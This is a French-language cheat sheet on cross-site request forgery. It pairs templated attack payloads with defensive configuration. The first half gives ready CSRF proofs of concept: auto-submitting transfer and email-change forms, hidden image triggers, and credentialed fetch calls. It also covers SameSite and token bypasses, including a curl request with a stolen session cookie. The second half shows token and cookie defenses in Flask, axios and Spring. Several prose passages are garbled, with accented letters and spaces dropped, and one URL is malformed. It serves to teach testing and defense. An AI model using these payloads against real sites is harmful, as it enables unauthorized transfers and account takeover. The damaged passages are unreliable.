CSRF — Cross-Site Request Forgery
Génération de PoC CSRF, bypass SameSite, tokens anti-CSRF, défense complète
Principe
CSRF forcer le navigateur dun utilisateur authentifi envoyer une requtevers une application sans son consentementConditions1 Lutilisateur est authentifi cookie de session actif2 Lapplication accepte des actions via requtes cross-origin3 Pas de token CSRF ct serveur ou token non vrifiExempleVictime connecte bankcom visite evilcomevilcom contient un formulaire auto-soumis vers bankcom/transferVirement excut avec les cookies valides de la victime
Génération de PoC CSRF
Formulaire HTML auto-soumis (POST)
<!-- PoC CSRF — virement bancaire --><html><body onload="document.forms[0].submit()"><form action="https://{{TARGET}}/account/transfer" method="POST"><input type="hidden" name="amount" value="1000" /><input type="hidden" name="to_account" value="{{ATTACKER_ACCOUNT}}" /><input type="hidden" name="currency" value="EUR" /></form></body></html>
<!-- PoC CSRF — changement d'email (sans interaction utilisateur) --><html><body><img src="x" onerror="var f=document.createElement('form');f.method='POST';f.action='https://{{TARGET}}/settings/email';var i=document.createElement('input');i.name='email'; i.value='{{ATTACKER_EMAIL}}';f.appendChild(i);document.body.appendChild(f);f.submit();"></body></html>
CSRF GET (si l'action modifiante est en GET)
<!-- Simple img tag — déclenche la requête GET sans interaction --><img src="https://{{TARGET}}/admin/delete-user?id=42" width="0" height="0"><!-- Ou via fetch (si CORS mal configuré) --><script>fetch('https://{{TARGET}}/api/transfer', {method: 'POST',credentials: 'include', // envoie les cookiesheaders: {'Content-Type': 'application/json'},body: JSON.stringify({to: '{{ATTACKER_ACCOUNT}}', amount: 1000})});</script>
Burp Suite — Génération automatique de PoC
1 Intercepter la requte cible dans Burp Proxy2 Clic droit Engagement Tools Generate CSRF PoC3 Burp gnre le formulaire HTML correspondant4 Tester "Test in browser"5 Vrifier que l'action s'excute sans token CSRF dans la requte
Bypass de protections CSRF
Bypass du token CSRF si validé côté client seulement
# Test 1 : supprimer le token de la requête# Si l'action s'effectue → token non vérifié côté serveur# Test 2 : envoyer un token vide ou invalidecurl -X POST https//{{TARGET}}/transfer-b "session={{STOLEN_SESSION}}"-d "amount=1000&to={{ATTACKER}}&csrf_token="# Test 3 : réutiliser son propre token pour une autre victime# (si le token n'est pas lié à la session)
Bypass SameSite=Lax
<!-- SameSite=Lax autorise les requêtes GET sur navigation "top-level"(lien cliqué, redirect) mais bloque les formulaires POST cross-site --><!-- Bypass : forcer une navigation top-level via window.open + redirect --><script>window.open('https://{{TARGET}}/transfer?amount=1000&to={{ATTACKER}}');</script><!-- Bypass via sous-domaine si un sous-domaine est compromis --><!-- sub.{{TARGET_DOMAIN}} peut envoyer une requête cross-site vers {{TARGET_DOMAIN}}car même eTLD+1 → SameSite=Lax ne bloque pas -->
CSRF via JSON avec Content-Type bypass
<!-- Si l'API accepte application/json mais que la vérif CT est faible --><form action="https://{{TARGET}}/api/transfer" method="POST" enctype="text/plain"><!-- text/plain est autorisé en CORS simple request --><!-- Torsader le body pour qu'il ressemble à du JSON --><input name='{"amount":1000,"to":"{{ATTACKER}}"' value='}' /></form>
Test avec Fetch (CORS + CSRF combiné)
// Si CORS est ouvert (Access-Control-Allow-Origin: *) → test CSRF avec fetchfetch('https://{{TARGET}}/api/user/delete', {method: 'DELETE',credentials: 'include',headers: {'Content-Type': 'application/json','X-Requested-With': 'XMLHttpRequest'}}).then(r => r.text()).then(console.log);// Si credentials: 'include' est accepté côté serveur avec CORS non restrictif// → CSRF via fetch fonctionne même avec SameSite absent
Défense — Tokens anti-CSRF
# Python (Flask + Flask-WTF) — token CSRF synchroniséfrom flask_wtf.csrf import CSRFProtectapp = Flask(__name__)app.config['SECRET_KEY'] = os.environ['SECRET_KEY']csrf = CSRFProtect(app) # Protection CSRF globale sur tous les formulaires POST# Dans le template HTML :# <form method="POST"># <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"># </form>
// JavaScript (axios) — inclure le token CSRF dans chaque requête// Lire le token depuis le cookie (Double Submit Cookie pattern)function getCsrfToken() {return document.cookie.split('; ').find(c => c.startsWith('csrftoken='))?.split('=')[1];}axios.defaults.headers.common['X-CSRFToken'] = getCsrfToken();// Ou injecté dans un meta tag :// <meta name="csrf-token" content="{{ csrf_token }}">const token = document.querySelector('meta[name="csrf-token"]').content;axios.defaults.headers.common['X-CSRF-Token'] = token;
// Spring Security — CSRF activé par défaut (ne pas le désactiver !)@Configurationpublic class SecurityConfig extends WebSecurityConfigurerAdapter {@Overrideprotected void configure(HttpSecurity http) throws Exception {http.csrf() // Activé par défaut.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())// withHttpOnlyFalse → JS peut lire le cookie pour l'envoyer en header.and().authorizeRequests().anyRequest().authenticated();}}
Défense — Headers et cookies
Cookie de sessionSameSiteStrict bloque TOUTES les requtes cross-site y compris navigationSameSiteLax bloque POST cross-site, autorise GET navigation bon compromisSameSiteNone uniquement si Secure est aussi prsent viter si possibleHeader supplmentaire vrification Origin RefererVrifier que Origin ou Referer correspond au domaine attendu ct serveurRejeter si Origin absent OU si Origin domaine autorisNE PAS faire confiance Referer seul peut tre manipulCustom Header synchronizer token via headerX-Requested-With: XMLHttpRequest les navigateurs nenvoient pas ce header encross-site pour les requtes simples seulement en same-origin ou CORS autoris
La désactivation du CSRF dans Spring (csrf().disable()) est l'une des erreurs les plus courantes dans les tutos et templates de démarrage. Elle est souvent faite "pour simplifier le dev" et oubliée en production. Ne jamais désactiver CSRF sur les APIs qui utilisent des cookies d'authentification.
SameSite=Strict + token CSRF synchronisé est la combinaison la plus solide. Le cookie SameSite protège contre la plupart des attaques sans code supplémentaire, et le token est le filet de sécurité pour les cas edge (sous-domaines compromis, redirects). Sur une SPA avec JWT en localStorage (pas de cookie), le CSRF n'est pas applicable — mais XSS le devient le vecteur principal.